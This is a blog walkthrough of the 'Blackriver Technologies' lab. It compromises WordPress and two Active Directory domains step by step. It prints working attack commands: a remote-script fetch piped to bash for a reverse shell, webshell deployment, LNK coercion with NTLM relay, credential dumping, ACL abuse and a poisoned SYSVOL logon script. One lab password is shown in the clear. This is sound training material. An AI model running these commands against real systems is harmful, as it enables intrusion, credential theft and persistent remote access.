Skip to content
Sscriptkittens
Playedhard

Blackriver Technologies

Fancy international services company thinks they're secure. We need to prove them wrong.

Machine
Blackriver Technologies
Platform
HackSmarter
OS
windows
Published
Oct 2, 2026
  • active-directory
  • kerberos
  • linux
  • trusts
  • ntlm-relay
  • delegation
On this page

Intro

BlackRiver Technologies is a fast-growing software services company headquartered in Zurich. Founded in 2014, the company provides software development, managed hosting, IT consulting, and infrastructure services to busineses across Europe.

BlackRiver recently acquired RiverBranch solutions, a smaller company. BlackRiver decided to keep both Active Directory environments funtional (rather than full migration).

You have been hired to perform a penetration test against the BlackRiver internal network (which includes the RiverBranch domain). The client has planted flags on sensitive machines - retrieving these flags demonstrates business impact. Initial Access

The client has provided you with VPN access to their internal environment, but no other information.

A wordlist has been provided in case of hashy-cracky fun.


Initial Credentials

We got none.

Enumeration

Quite a few machines in this range.

Network

3 subnets, 2 domains, 1 curious gato. What could possibly go wrong?

Let’s make a pretty little table of all the hosts:

IP Address Hostname OS
10.0.0.5 WEB.blackriver.local Ubuntu
10.0.1.4 FILES.blackriver.local Windows
10.0.1.5 DC01.blackriver.local Windows
10.0.1.6 wkst.blackriver.local Windows
10.0.2.4 BR-OPS01.riverbranch.local Windows
10.0.2.5 BR-DC01.riverbranch.local Windows
10.0.2.6 MGMT01.riverbranch.local Windows

The only one we can connec to now is WEB

rustscan --ulimit 5000 -a 10.0.0.5 -- -sCV
Open 10.0.0.5:80
Open 10.0.0.5:22

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ee:dd:de:f4:d6:37:1f:a6:7f:7a:89:f1:63:72:c1:29 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPzVqraiFKLRHWqKn6AetBcpiOk1dT69WoHGBGnvHAIFJn2Jr2kiZh2BIVNiKQIGDpMlQB2XlLlq6E0czK6MMbw=
|   256 d1:8c:ba:72:bd:ce:60:fd:04:72:3b:d0:bc:af:87:8d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOB3i+/CeDrM4bF9IFv9T1/fSnKn2YxWMehk9eEcX5Bd
80/tcp open  http    syn-ack Apache httpd 2.4.58 ((Ubuntu))
|_http-title: BlackRiver Technologies \xE2\x80\x94 IT & Software Solutions
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looks like a fairly standard web server. Let’s see what we can find.

WEB

http://10.0.0.5 or http://web.blackriver.local is a generic corporate site.

Homepage

WORDPRESS

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt  -t 50 -u http://10.0.0.5
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
wordpress            (Status: 301) [Size: 308] [--> http://10.0.0.5/wordpress/]
File it awayProbably should remember these

The wordpress site has 5 posts:

  1. Active Directory Hardening - Best Practices for Mid-Sized Companies
  2. The Dangers of SMB Relay Attacks - How to Protect Your Network
  3. Zero Trust Security Model - A Modern Approach to Cybersecurity
  4. Cloud Security Best Practices for Mid-Sized Companies
  5. Incident Response Plan - A Guide for Mid-Sized Companies

wpscan shows this is version 6.9.4 and has some potentially serious vulnerabilities with known CVEs.

wpscan --url http://web.blackriver.local/wordpress/ --api-token $WPSCAN_API_TOKEN --enumerate ap,u,t --random-user-agent -v
Interesting Finding(s):

[+] WordPress version 6.9.4 identified (Insecure, released on 2026-03-11).
 |  - http://web.blackriver.local/wordpress/, Match: 'WordPress 6.9.4'
 
 | [!] 25 vulnerabilities identified:
 |
 | [!] Title: WP < 7.0.2 - Facilitated SQLi
 |     UUID: 82a6c423-547b-4910-aea5-044070b08949
 |     Fixed in: 6.9.5
 |     References:
 |      - https://wpscan.com/vulnerability/82a6c423-547b-4910-aea5-044070b08949
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60137
 |      - https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
 |
 | [!] Title: WordPress < 7.0.2 - REST API batch-route confusion and SQLi to RCE
 |     UUID: 73310d64-e790-4a78-ab0a-12995b762dba
 |     Fixed in: 6.9.5
 |     References:
 |      - https://wpscan.com/vulnerability/73310d64-e790-4a78-ab0a-12995b762dba
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63030
 |      - https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q

Two CVEs: CVE-2026-60137 and CVE-2026-63030 are combinable for SQL injection and Remote Code Execution.

Access as www-data

An excellent PoC is available on GitHub: wp2shell-poc

Using that code to check the site and confirm the vulnerability:

git clone https://github.com/Icex0/wp2shell-poc.git

cd wp2shell-poc && uv sync

uv run wp2shell check http://web.blackriver.local/wordpress --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.4 via HTML generator meta (wp2shell affected range) - WordPress 6.9.4
[!] A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[+] SQLi confirmed — UNION fake-post read returned data.

With that confirmed, we can attempt to get RCE. Using the PoC in shell mode, it will attempt to upload a webshell to the site. If no credentials are supplied, it will use one of the vulnerabilities to create an administrator account.

uv run wp2shell shell http://web.blackriver.local/wordpress --cmd whoami
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
[+] Administrator created: wp2_1d04e967eb1f
[+]     email:    wp2_1d04e967eb1f@wp2shell.invalid
[+]     password: Wp2!-qdZ_0ApDdJSAMUnH4Av
[*] Authenticating as 'wp2_1d04e967eb1f'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://web.blackriver.local/wordpress/wp-content/plugins/wp2shell_29bde99e/wp2shell_29bde99e.php

www-data

Shell time!

Pick your listener, pick your favorite revshell code, and get a shell as www-data user.

uv run wp2shell shell http://web.blackriver.local/wordpress --cmd 'curl 192.168.211.2/sh/rev.sh|bash'

Pretty quickly I see a request to my server and then the listeners light up. I have a shell and a backup shell as www-data user.

[GIN] 2026/10/02 - 10:21:14 | 200 |     1.33556ms |        10.0.0.5 | GET      "/sh/rev.sh"
rlwrap -cAr nc -lvnp 8445
Listening on 0.0.0.0 8445
Connection received on 10.0.0.5 46348
www-data@WEB:/var/www/html/wordpress/wp-content/plugins/wp2shell_1fc35fac$ 

Since it’s wordpress, I’m going straight for the database creds. I can find them in wp-config.php:

www-data@WEB:/var/www/html/wordpress/wp-content/plugins/wp2shell_1fc35fac$ cat /var/www/html/wordpress/wp-config.php | grep DB
define( "DB_NAME", "wp_lab" );
define( "DB_USER", "wpuser" );
define( "DB_PASSWORD", "[REDACTED]" );
define( "DB_HOST", "localhost" );
define( "DB_CHARSET", "utf8mb4" );

Nice, let’s see what’s in there. I can use mysql to read the wp_users table and get the hashes for the users.

mysql -u wpuser -p -e "SELECT ID, user_login, user_email, user_pass FROM wp_lab.wp_users;"
Enter password: [REDACTED]

+----+------------+---------------------------+-----------------------------------------------------------------+
| ID | user_login | user_email                | user_pass                                                       |
+----+------------+---------------------------+-----------------------------------------------------------------+
|  1 | wp_admin   | j.ryan@blackriver.local   | [REDACTED]                                                      |
|  4 | steven     | s.miller@blackriver.local | [REDACTED]                                                      |
+----+------------+---------------------------+-----------------------------------------------------------------+

Would you look at that, 2 users and both have e-mails that match the domain.

Let’s use the provided wordlist to crack the hashes. I can use hashcat for this.

hashcat -a 0 wphashes.txt wordlist.txt
$wp$2y$10[SNIPPED]:[REDACTED]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 35500 (Wordpress bcrypt(hmac-sha384($pass)))

From here, you can do several things. I never take the easy because I like to make things annoyingly hard.

Options:

  1. ssh as s.miller@blackriver.local with the cracked password.
  2. Stay as www-data, continuing enumeration and pivoting to other machines.

You can guess which one I chose the first time around, but option 1 is easier.

Access as s.miller

New identity
SSH access as BLACKRIVER.LOCAL\s.miller

I was so excited to have domain credentials that I ran straight to that, which would come back to haunt me.

File it awayTwo keytabs

What I SHOULD have done first is thoroughly enumerate the web box and I would have seen:

s.miller@WEB:~$ find /etc -type f -name "*.keyt*" 2>/dev/null
/etc/krb5.keytab
/etc/c.stones.keytab  <-- I missed this the first time around

But we can’t read it yet and I have absolutely no idea who c.stones is or what they can do, so let’s try to find out.

I’m a ligolo-ng guy for pivoting, so I set up my agent on the web box and get it connected back to me so I can use it to access the 10.0.1.0 subnet.

# my machine
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -laddr 0.0.0.0:6447 -selfcert


# web machine
curl 192.168.211.2/l/agent -o /tmp/agent
chmod +x /tmp/agent
/tmp/agent -connect 192.168.211.2:6447 -ignore-cert & disown

# add the route either through ligolo or in the terminal
sudo ip route add 10.0.1.0/24 dev ligolo

Great, now we can validate s.miller credentials and get a krb5.conf file while we’re at it.

nxc smb dc01.blackriver.local -d blackriver.local -u s.miller -p [REDACTED] --generate-krb5-file krb5.conf
SMB         10.0.1.5        445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:blackriver.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.0.1.5        445    DC01             [+] krb5 conf saved to: krb5.conf
SMB         10.0.1.5        445    DC01             [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB         10.0.1.5        445    DC01             [+] blackriver.local\s.miller:[REDACTED] 
New identity
Domain access as BLACKRIVER.LOCAL\s.miller

While rustscan does it’s thing on the machines in the subnet, we can do 2 things:

  1. Try to get data for Bloodhound
  2. Check the machines for file shares.

bloodhound-ce-python, bloodyAD, rusthound-ce all worked on this machine. Pick one.

bloodhound-ce-python -c All -d blackriver.local -u s.miller -p [REDACTED] -dc dc01.blackriver.local -ns 10.0.1.5

rusthound-ce --kerberos  -f dc01.blackriver.local -d blackriver.local -o . -z -n 10.0.1.5 -p [REDACTED] -u s.miller

bloodyAD --host $DC -d $DOMAIN -u s.miller -p [REDACTED] get bloodhound

Which shows us some very nice permissions on both Linux Users OU and j.ryan account.

s.miller outbound

Using bloodyAD we can see that s.miller has something very useful in this very particular situation.

bloodyAD --host $DC -d $DOMAIN -u s.miller -k get writable

distinguishedName: OU=Linux Users,DC=blackriver,DC=local
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE

distinguishedName: CN=j.ryan,OU=Linux Users,DC=blackriver,DC=local
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE

Shares

crawlofduty -k --host dc01.blackriver.local -d $DOMAIN -u s.miller -k --no-pass -r --yolo
# snipped out the normal stuff
[INFO]  Downloaded (SYSVOL/blackriver.local/scripts/Hamilton/welcome.bat)
[INFO]  Downloaded (NETLOGON/Hamilton/welcome.bat)

crawlofduty -k --host files.blackriver.local -d $DOMAIN -u s.miller -k --no-pass -r --yolo
# now this is interesting
YOU CAN'T EVEN SEE THESE FOLDERS :(
Backup\\*

MAYBE SOMETHING INTERESTING TO READ HERE?
Shared\
Shared\Finance
Shared\IT

[INFO]  Downloaded (Shared/README.txt)
[INFO]  Downloaded (Shared/Finance/August_Finance_Notes.txt)
[INFO]  Downloaded (Shared/Finance/Department_Budget_Status.csv)
[INFO]  Downloaded (Shared/IT/August_Maintenance_Notes.txt)
[INFO]  Downloaded (Shared/IT/BlackRiver_Network_Topology_and_IT_Responsibilities.pdf)
[INFO]  Downloaded (Shared/IT/IT_Operations.txt)
[INFO]  Downloaded (Shared/IT/Logon_Script_Operations.txt)
[INFO]  Downloaded (Shared/IT/Systems_Inventory.txt)

Really useful information in those documents to be filed away for later.

Shared/August_Maintenance_Notes.txt talks about a planned system state backup:

Backup Operations:
The Backup Task Operators team is responsible for the scheduled System State backup of DC01.

The System State backup includes:
- Active Directory Database (NTDS.dit)
- Registry Hives (SYSTEM, SECURITY, SOFTWARE, SAM, DEFAULT)
- SYSVOL (Group Policies and Scripts)

Backup data is transferred to the designated internal storage location on FILES:
\\FILES.blackriver.local\Backup\DC01\System_State_[Timestamp]

Shared/IT_Operations.txt tells us:

  • FILES server administration is handled by s.gomez
  • linux_deploy share is for Linux deployment tasks.

Shared/Logon_Script_Operations.txt:

  • SupportOperations group has control over user logon scripts under SYSVOL on the domain controller.
  • An example is shown for user Hamilton -> d.hamilton that is a batch file connecting an internal share on FILES.

Shared/BlackRiver_Network_Topology_and_IT_Responsibilities.pdf contains these:

It responsibilities

Of note: c.stones is “Responsible for Linux systems. Has upload access to the linux-deploy share used for Linux deployment and maintenance files.”

additional IT info

A lot to unpack there and a deep-dive coming soon, but let’s get root first.

We have a Linux machine. We have CREATE_CHILD on an Active Directory OU. We have ksu on the web machine. There’s another piece we can’t always know at this point and I’ll come back to that. Oh and there’s a keytab we really want on the other side of root.

If I’m right, we should be able to add a new account into the Linux Users OU with the name root and through a wonderful series of misinterpretations, we’ll end up as root on the web box.

Fastest way to do this is with bloodyAD:

bloodyAD --host $DC -d $DOMAIN -u s.miller -k add user root '[REDACTED]' --ou 'OU=Linux Users,DC=blackriver,DC=local'

slower manual method

# This part was from my machine
# start out disabled so we can properly set the password
cat > /tmp/woot.ldif << 'EOF'
dn: CN=root,OU=Linux Users,DC=blackriver,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: root
sAMAccountName: root
userPrincipalName: root@blackriver.local
userAccountControl: 514
EOF
ldapadd -Y GSSAPI -H ldap://dc01.blackriver.local -f /tmp/woot.ldif

# unicodePwd needs password utf-16le and base64
python3 -c "
import base64
pwd = '\"[REDACTED]\"'.encode('utf-16-le')
open('/tmp/setpass.ldif','wb').write(b'''dn: CN=root,OU=Linux Users,DC=blackriver,DC=local
changetype: modify
replace: unicodePwd
unicodePwd:: ''' + base64.b64encode(pwd))
"
ldapmodify -Y GSSAPI -H ldap://dc01.blackriver.local -f /tmp/setpass.ldif

# enable the account
cat > /tmp/enable.ldif << 'EOF'
dn: CN=root,OU=Linux Users,DC=blackriver,DC=local
changetype: modify
replace: userAccountControl
userAccountControl: 512
EOF
ldapmodify -Y GSSAPI -H ldap://dc01.blackriver.local -f /tmp/enable.ldif

Then in whatever session you have on WEB

s.miller@WEB:~$ kinit root@BLACKRIVER.LOCAL
Password for root@BLACKRIVER.LOCAL: 
Warning: Your password will expire in less than one hour on Tue 14 Sep 2100 02:48:05 AM UTC
s.miller@WEB:~$ ksu root
Authenticated root@BLACKRIVER.LOCAL
Account root: authorization for root@BLACKRIVER.LOCAL successful
Changing uid to root (0)
root@WEB:/home/BLACKRIVER/s.miller# whoami
root
root@WEB:/home/BLACKRIVER/s.miller# id
uid=0(root) gid=0(root) groups=0(root),10001(BUILTIN\users),20513(domain users),23601(root)
privileged
WEB as root —> user flag

FILES

Access as c.stones

Rabbit holeI missed the other keytab30m

I didn’t see the c.stones.keytab the first time around so I went messing around with j.ryan and didn’t really get anywhere.

So I went back and re-enumerated and it was right in front of my face.

We can read it now.

keytabextract can help us out here

keytabextract c.stones.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[+] Keytab File successfully imported.
        REALM : BLACKRIVER.LOCAL
        SERVICE PRINCIPAL : c.stones/
        AES-256 HASH : [REDACTED]
impacket-getTGT 'BLACKRIVER.LOCAL/c.stones' -aesKey [REDACTED]
[*] Saving ticket in c.stones.ccache
New identity
BLACKRIVER\c.stones

c.stones is a member of CN=Linux Deployment Operators,CN=Users,DC=blackriver,DC=local

bloodyAD --host $DC -d $DOMAIN -u s.miller -k get object c.stones | grep "memberOf:"
memberOf: CN=Linux Deployment Operators,CN=Users,DC=blackriver,DC=local

We previously saw that other users were connecting to the file share, so let’s put something there and maybe get an NTLM hash.

Typically I would use ntlm_theft but it’s not been successful on Windows 2025. We can use the slinky module in netexec

IMPORTANT Before we do this, we need to make sure that traffic on the right ports can reach us through WEB.

I reloaded ligolo-agent as root on WEB so I’d have access to all ports and turned off smbd and nmbd

systemctl stop smbd nmbd
systemctl mask smbd nmbd
systemctl disable --now smbd nmbd

Then we can forward port 445 traffic coming from the 10.0.1.0/24 subnet to our machine

listener_add --addr 10.0.0.5:445 --to 192.168.211.2:445

Access as s.gomez

Set up responder

sudo responder -i tun0

then we can use slinky

nxc smb files.blackriver.local -d blackriver.local -u c.stones -k --use-kcache -M slinky -o SERVER=10.0.0.5 SHARE=linux-deploy NAME=gato
[SNIPPED]
SMB         files.blackriver.local 445    FILES            linux-deploy    READ,WRITE             Writable by Linux Deployment Operators
SMB         files.blackriver.local 445    FILES            Shared          READ                   
SLINKY      files.blackriver.local 445    FILES            [+] Found writable share: linux-deploy
SLINKY      files.blackriver.local 445    FILES            [+] Created LNK file on the linux-deploy share

Almost immediately, but sometimes as long as 2-3 minutes we get a response!

[SMB] NTLMv2-SSP Client   : 192.168.211.2
[SMB] NTLMv2-SSP Username : BLACKRIVER\s.gomez
[SMB] NTLMv2-SSP Hash     : s.gomez::BLACKRIVER:b9535c4f12f5ed51:[SNIPPED]

from s.gomez??

unexpected

Except that s.gomez is a member of Server Administrators and IT Operations which makes this much cooler.

sgomez bloodhound graph

BUUUUTTTT…the hash isn’t crackable

Back on the Wordpress blog, one of the posts was titled: The Dangers of SMB Relay Attacks - How to Protect Your Network.

What’s the saying? Every accusation is an admission. So why not right?

Access as FILES\Administrator

sudo ntlmrelayx.py -t smb://10.0.1.4 -smb2support

If there’s not a hit on the relay pretty quickly, you may need to re-run netexec with the slinky module

[*] (SMB): Received connection from 192.168.211.2, attacking target smb://10.0.1.4
[*] (SMB): Authenticating connection from BLACKRIVER/S.GOMEZ@192.168.211.2 against smb://10.0.1.4 SUCCEED [1]
Administrator:500:[REDACTED]:::
noice meme

Pick your preferred connection method.

Wait…doesn’t this machine get the DC01 backup?!

evil-winrm-py PS C:\Shares\Backup> cmd /c dir /a /s
 Volume in drive C is Windows
 Volume Serial Number is 7EC2-1A39

 Directory of C:\Shares\Backup

08/09/2026  04:33 PM    <DIR>          .
08/09/2026  02:35 PM    <DIR>          ..
               0 File(s)              0 bytes

and…it’s empty.

I spent a lot of time looking around on this machine and turned on RDP for myself to make it easier. Still didn’t find anything.

There is another user on this computer a.bonez but I never used them.

secretsdump will give us s.gomez password and it is valid

impacket-secretsdump administrator@files.blackriver.local -hashes [REDACTED]
[*] Dumping cached domain logon information (domain/username:hash)
BLACKRIVER.LOCAL/s.gomez:[REDACTED]
BLACKRIVER.LOCAL/a.bonez:[REDACTED]
[SNIPPED]
[*] DefaultPassword 
BLACKRIVER\s.gomez:[REDACTED]
New identity
BLACKRIVER\s.gomez

Access as r.martinez

Rabbit holeNot a tooling issue

I went around in circles for a while here a while. My goal was to get to be able to write to the scripts folder on SYSVOL.

That would let me update d.hamilton script. d.hamilton is a member of Backup Task Operators and I really want that System State Backup mentioned in the shared folder.

Support Operations group has the control we need. Only f.bruce is a member. IT Support Users has ForceChangePassword on f.bruce and a few others.

Everything seemed to be circular but all roads lead to r.martinez who has WriteOwner on IT Support Users.

path from r.martinez to f.bruce

s.gomez is an administrator on WKST.blackriver.local.

nxc smb wkst.blackriver.local -u s.gomez -p 'X~D:)a/C+sIof-`1}j6"'
SMB         10.0.1.6        445    WKST             [*] Windows 11 / Server 2025 Build 26100 x64 (name:WKST) (domain:blackriver.local) (signing:False) (SMBv1:False)
SMB         10.0.1.6        445    WKST             Node WKST.BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB         10.0.1.6        445    WKST             Node S.GOMEZ@BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB         10.0.1.6        445    WKST             [+] blackriver.local\s.gomez:X~D:)a/C+sIof-`1}j6" (Gatito!)

I spent too much time screwing around in RDP on this one.

Oh and here’s some useful info:

if TermService is running:

evil-winrm-py PS C:\Users\s.gomez\Documents> Get-Service TermService

Status   Name               DisplayName                           
------   ----               -----------                           
Running  TermService        Remote Desktop Services

but no port shows as open internally:

evil-winrm-py PS C:\Users\s.gomez\Documents> netstat -ant | findstr 3389
...crickets

and rdp-tcp doesn’t show up here:

evil-winrm-py PS C:\Users\s.gomez\Documents> cmd /c qwinsta
SESSIONNAME    USERNAME   ID  STATE   TYPE        DEVICE 
>services                 0  Disc                        
console        s.gomez    1  Active

Check this registry key

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
    fDenyTSConnections    REG_DWORD    0x1

Value of 1 here DISABLES RDP. If you change it to 0, you will see rdp-tcp show up in qwinsta and also see the port in netstat.

Completely unnecessary to do this, but worth saving.

Anyway, SharpDPAPI wasn’t showing me much, but netexec for the win:

nxc smb wkst.blackriver.local -u s.gomez -p [REDACTED] --dpapi
SMB         10.0.1.6        445    WKST             [*] Windows 11 / Server 2025 Build 26100 x64 (name:WKST) (domain:blackriver.local) (signing:False) (SMBv1:False)
SMB         10.0.1.6        445    WKST             Node WKST.BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB         10.0.1.6        445    WKST             Node S.GOMEZ@BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB         10.0.1.6        445    WKST             [+] blackriver.local\s.gomez:[REDACTED] (Gatito!)
[s.gomez][CREDENTIAL] LegacyGeneric:target=backup.blackriver.local- r.martinez:[REDACTED]                                                                                                                                

Those creds are valid for r.martinez

nxc smb dc01.blackriver.local -d blackriver.local -u r.martinez -p [REDACTED]
SMB         10.0.1.5        445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:blackriver.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.0.1.5        445    DC01             Node R.MARTINEZ@BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB         10.0.1.5        445    DC01             [+] blackriver.local\r.martinez:[REDACTED]
New identity
BLACKRIVER\r.martinez

Access as f.bruce

Pretty straightforward at this part, let’s add ourselves as the owner of IT Support Users

bloodyAD --host $DC -d $DOMAIN -u r.martinez -p [REDACTED] set owner 'CN=IT Support Users,CN=Users,DC=blackriver,DC=local' r.martinez                  
[+] Old owner S-1-5-21-1442656047-993108804-857766263-512 is now replaced by r.martinez on CN=IT Support Users,CN=Users,DC=blackriver,DC=local

then we give ourselves GenericAll

bloodyAD --host $DC -d $DOMAIN -u r.martinez -p [REDACTED] add genericAll 'CN=IT Support Users,CN=Users,DC=blackriver,DC=local' r.martinez
[+] r.martinez has now GenericAll on CN=IT Support Users,CN=Users,DC=blackriver,DC=local

and now we can add ourselves as a member of the group to gain the ForceChangePassword on f.bruce

bloodyAD --host $DC -d $DOMAIN -u r.martinez -k add groupMember 'CN=IT Support Users,CN=Users,DC=blackriver,DC=local' r.martinez
[+] r.martinez added to CN=IT Support Users,CN=Users,DC=blackriver,DC=local

bloodyAD gave an error here, but net rpc password ... or going into rpcclient worked fine.

# rpcclient
rpcclient -U "BLACKRIVER.LOCAL/r.martinez" dc01.blackriver.local
setuserinfo2 [REDACTED] 23 f.bruce

# net rpc
net rpc password "f.bruce" -U "BLACKRIVER.LOCAL/r.martinez" -S dc01.blackriver.local
Enter new password for f.bruce:
Password for [BLACKRIVER.LOCAL\r.martinez]:
nxc smb dc01.blackriver.local -d blackriver.local -u f.bruce -p [REDACTED]
SMB         10.0.1.5        445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:blackriver.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.0.1.5        445    DC01             Node F.BRUCE@BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB         10.0.1.5        445    DC01             [+] blackriver.local\f.bruce:[REDACTED]
New identity
BLACKRIVER\f.bruce

DC01

Access as d.hamilton

Earlier we learned that members of SupportOperations can modify the scripts folder on SYSVOL and f.bruce is the only member of that group.

We need to get to d.hamilton and as luck would have it, that account is also the example we were shown earlier.

Let’s amend that welcome.bat and add a little test in there, just before the REM Map company shared drive comment I added

I added a listener to the agent on WEB that would redirect to my http server.

curl 10.0.0.5:8080/test

then with f.bruce

smbclient "//dc01.blackriver.local/SYSVOL" -U "$DOMAIN\\f.bruce"
smb: \blackriver.local\scripts\Hamilton\> put welcome.bat

and we get a response quickly.

[GIN] 2026/10/02 - 13:54:40 | 200 |     193.088µs |   192.168.211.2 | GET      "/test"

Great, now let’s get real access.

I’m just using a powershell -e ... revshell for now. I replaced the curl ... command in the welcome.bat and re-uploaded it. We get a connection pretty quick.

rlwrap -cAr nc -lvnp 8445
Listening on 0.0.0.0 8445
Connection received on 192.168.211.2 55416
PS C:\Windows\System32> whoami /all
User Name             SID                                         
===================== ============================================
blackriver\d.hamilton S-1-5-21-1442656047-993108804-857766263-1119

PS C:\Windows\System32> hostname
DC01
New identity
BLACKRIVER\d.hamilton

Access as Administrator

d.hamilton is a member of Backup Task Operators who can trigger the backup job that will put the system files on FILES in the Backup folder.

In C:\BlackRiverBackup.xml there is a definition file for a scheduled task

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description>Validates and copies DC user profile data to the central FILES backup repository.</Description>
    <URI>\BlackRiver Backup Validation</URI>
    <SecurityDescriptor>D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;GRGX;;;S-1-5-21-1442656047-993108804-857766263-1124)</SecurityDescriptor>
  </RegistrationInfo>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
  </Settings>
  <Triggers />
  <Actions Context="Author">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-NoProfile -ExecutionPolicy Bypass -File "C:\Users\Administrator\AppData\Local\BlackRiver\BackupUsers.ps1"</Arguments>
    </Exec>
  </Actions>
</Task>

The <SecurityDescriptor> is very helpful:

<SecurityDescriptor>D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;GRGX;;;S-1-5-21-1442656047-993108804-857766263-1124)</SecurityDescriptor>

(A;;GRGX;;;S-1-5-21-1442656047-993108804-857766263-1124) decodes to:

ACCESS_ALLOWED S-1-5-21-1442656047-993108804-857766263-1124 -> Backup Task Operators GRGX -> Generic Read + Generic Execute

As a member of that group, we should be able to trigger that scheduled task to run.

PS C:\Windows\System32> schtasks.exe /run /tn:"BlackRiver Backup Validation"
SUCCESS: Attempted to run the scheduled task "BlackRiver Backup Validation".

SIMULTANEOUSLY Use s.gomez or administrator to log back on to FILES so that we can get the backup off the share

Takes a minute, but the DC01 folder will show up in C:\Shares\Backup

evil-winrm-py PS C:\Windows\Temp\DC01> cmd /c dir /a C:\Shares\Backup\DC01\System_State_20261002_190943\
 Volume in drive C is Windows
 Volume Serial Number is 7EC2-1A39

 Directory of C:\Shares\Backup\DC01\System_State_20261002_190943

10/02/2026  07:10 PM    <DIR>          .
10/02/2026  07:10 PM    <DIR>          ..
10/02/2026  07:10 PM    <DIR>          Active Directory
10/02/2026  07:10 PM    <DIR>          Registry
10/02/2026  07:10 PM    <DIR>          SYSVOL

Active Directory\NTDS.dit, Registry\SECURITY, and Registry\SYSTEM were copied down to my machine.

we can get everything from there:

impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local
[*] Target system bootKey: 0xfb94cc6281682c615544fe42e8f31a1c
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword 
(Unknown User):[REDACTED]  <-- `d.hamilton` credentials
Administrator:500:[REDACTED]
privileged
BLACKRIVER\administrator

Get the flag, but we’re not done yet.

RIVERBRANCH.LOCAL

Access with j.torrance

Now we can really dig into the trust relationship

evil-winrm-py PS C:\Users\Administrator\Documents> Get-AdTrust -Filter *


Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=riverbranch.local,CN=System,DC=blackriver,DC=local
ForestTransitive        : True
IntraForest             : False
IsTreeParent            : False
IsTreeRoot              : False
Name                    : riverbranch.local
ObjectClass             : trustedDomain
ObjectGUID              : 7188f82b-c64a-44f3-87a0-fbcc5a721606
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=blackriver,DC=local
Target                  : riverbranch.local
TGTDelegation           : False
TrustAttributes         : 8
TrustedPolicy           : 
TrustingPolicy          : 
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False
Deep diveAre we too trusting?optional

This is an Active Directory trustedDomain object describing the trust between blackriver.local and riverbranch.local.

The most important fields are the ones describing direction, transitivity, authentication scope, SID filtering, and Kerberos behavior.

